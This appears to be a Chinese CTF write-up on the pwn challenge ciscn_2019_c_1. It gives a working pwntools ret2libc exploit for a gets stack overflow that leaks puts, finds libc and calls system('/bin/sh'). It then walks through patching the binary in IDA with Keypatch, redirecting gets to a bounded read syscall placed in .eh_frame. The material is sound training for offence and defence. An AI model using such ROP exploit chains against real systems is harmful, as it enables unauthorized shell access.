pwn patch ciscn_2019_c_1
解pwn
buuctf上的一道pwn题,原题的encrypt函数里存在gets导致的栈溢出,然后ret2libc搞定。
int encrypt()
{
size_t v0; // rbx
char s[48]; // [rsp+0h] [rbp-50h] BYREF
__int16 v3; // [rsp+30h] [rbp-20h]
memset(s, 0, sizeof(s));
v3 = 0;
puts("Input your Plaintext to be encrypted");
gets(s);
while ( 1 )
{
v0 = (unsigned int)x;
if ( v0 >= strlen(s) )
break;
if ( s[x] <= 96 || s[x] > 122 )
{
if ( s[x] <= 64 || s[x] > 90 )
{
if ( s[x] > 47 && s[x] <= 57 )
s[x] ^= 0xFu;
}
else
{
s[x] ^= 0xEu;
}
}
else
{
s[x] ^= 0xDu;
}
++x;
}
puts("Ciphertext");
return puts(s);
}
exp
from pwn import *
import sys
from LibcSearcher import LibcSearcher
# 根据参数决定是本地还是远程
argv_len = len(sys.argv)
if argv_len == 3:
# 远程
host = sys.argv[1]
port = sys.argv[2]
sh = remote(host,port)
else:
sh = process("./pwn")
elf = ELF("./pwn")
libc = ELF("/home/zsc/Tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6")
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main = elf.symbols["main"]
offset = 0x50+8
def enc(payload):
sh.sendlineafter(b"choice!",b"1")
sh.sendlineafter(b"encrypted",payload)
# gdb.attach(sh)
pop_rdi_ret = 0x400c83 # pop rdi ; ret
ret = 0x4006b9 # ret
payload1 = b'a'*offset + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
enc(payload1)
recv_data = sh.recvuntil(b"\nEEEEEEE",drop=True)
print(recv_data)
puts_addr = u64(recv_data[-6:].ljust(8,b"\x00"))
print("puts_addr==>",hex(puts_addr))
print("---------------------")
puts_offset = libc.symbols["puts"]
libc_base = puts_addr - puts_offset
system_addr = libc_base + libc.symbols["system"]
bin_sh = next(libc.search(b"/bin/sh")) + libc_base
print("libc_base===>",hex(libc_base))
print("system===>",hex(system_addr))
print("bin_sh===>",hex(bin_sh))
payload2 = b"a"*offset + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system_addr)
enc(payload2)
sh.interactive()
patch修补
考虑到AWD赛制会对pwn题进行修补,以此题进行练手。
准备
ida版本为7.6 pro。
python版本3.10.11
需要安装keypatch的依赖库
pip install six keystone-engine
把GitHub上的keypatch.py文件拷贝到ida的plugins目录下,重启ida。
如果报错,就注意报错内容,一般是缺少某某模块,或者需要配置python版本而执行一下idapyswitch.exe,就目前来解决方法都在报错内容里,打开“输出窗口”需要按快捷键Alt+0,或者Windows-->Output window
keypatch安装成功后,会在Edit栏目的最下方或者Edit里的Plugins里找到。
在.eh_frame 段写入自定义汇编程序
主要关注一下gets函数的汇编代码
; 修补前
.text:00000000004009D1 48 8D 45 B0 lea rax, [rbp+s]
.text:00000000004009D5 48 89 C7 mov rdi, rax
.text:00000000004009D8 B8 00 00 00 00 mov eax, 0
.text:00000000004009DD E8 5E FD FF FF call _gets
.text:00000000004009E2 E9 CD 00 00 00 jmp loc_400AB4
修补gets函数造成的栈溢出可以把它修改为自定义的read函数,然后控制读取长度。然而这里长度是不够的,没办法直接在这里修改——
修改成read函数要用到系统调用:
mov rax,0
mov rsi,rdi ; s
mov rdi,0
mov rdx,0x30h
syscall
ret
我们可以修改call _gets
为call上面我们自己定义的read函数,但明显.text段是不够位置进行增添的,因为直接添加代码会导致原有指令被覆盖,破坏程序的正常功能。但我们可以把上面的系统调用patch到.en_frame段。
于是修改逻辑是劫持 call 指令跳转到 .eh_frame 段上写入的自定义汇编程序。
ctrl+s选择.en_frame段进行跳转,选择一个起点进行自定义汇报程序的写入,然后在起点按下n重命名该地址,方便后面call这个程序。
命名后点击OK,可能会有弹窗:
继续OK即可。
然后从起始位置右键,选择下方的Keypatch-->Patcher
然后输入第一条汇编代码,keypatch会自动转成机器指令(opcode)
下方的两个勾选项分别为“填补nop指令直到下一条指令”和“保存原有的指令到注释里”,由于.en_frame段原本是没有指令的,所以也不需要填充nop,这里第一个选项可选可不选,第二个默认即可,方便查看修改前的内容是什么。
依次把自定义汇报代码填入后,来到call _gets
那里。修改为call unk_400F60
,由于修改前后的机器指令长度都是5字节,就不需要nop填充,也不会覆盖到后面的指令。
最后是保存patch后的二进制文件:Edit-->Patch program-->Apply patches to input file
根据需要选择是否保存备份(create backup),保存patch后,与修补前二进制文件同名的就是patch过的,如pwn2,而pwn2.bak(默认)则是未被patch过的备份。
en_frame段的执行权限
ida按快捷键ctrl+s查看段情况,.en_frame是没有可执行权限的,
这里显示的.en_frame是没有执行权限(X)的,但是在通过gdb调试程序时vmmap可以看到.en_frame段(0x400f58-0x40010f4)是可执行的:
当en_frame段没有执行权限时,一些文章说可以通过修改elf头来使其可执行,主要修改Type和Flags
修改前
修改后
但事实上,就这道题而言,这里改不改都没啥区别,自定义程序依然能跳转执行,而且修改后,ctrl+s查看的en_frame依然没有X权限。费解???
跳转回原来的执行流
通过劫持call跳转到了我们自定义的汇编程序,但是为了使原程序正常运行,还需要跳转回去。这里尝试了两种方式返回:jmp
和ret
。先说结论,这里jmp
会使encrypt函数最终返回到一个奇怪的地址导致段错误,而ret
正常。
使用jmp时,需要跳转到loc_400AB4,这原本是call _gets
的下一条指令,但是跳转后会发现栈空间与原来的不一致,
mov rax,0
mov rsi,rdi ; s
mov rdi,0
mov rdx,0x30h
syscall
jmp loc_400AB4
由于调用call时,会把下一条指令jmp loc_400AB4
压栈,而自定义程序中又未涉及栈空间的修改,那么按照原本的逻辑,执行call _gets
时,jmp loc_400AB4
压栈,执行完gets函数后,执行流返回,指令jmp loc_400AB4
的地址出栈赋予rip,然后执行jmp loc_400AB4
,返回这一步就是ret的执行结果,所以我们在最后添加ret而不是jmp loc_400AB4
。
mov rax,0
mov rsi,rdi ; s
mov rdi,0
mov rdx,0x30h
syscall
ret
![[汇编call指令]]
参考:
AWD中的patch技巧总结
【PWN】AWD 技巧
记fast_bin attack到patch的三种手法
二进制文件应急修复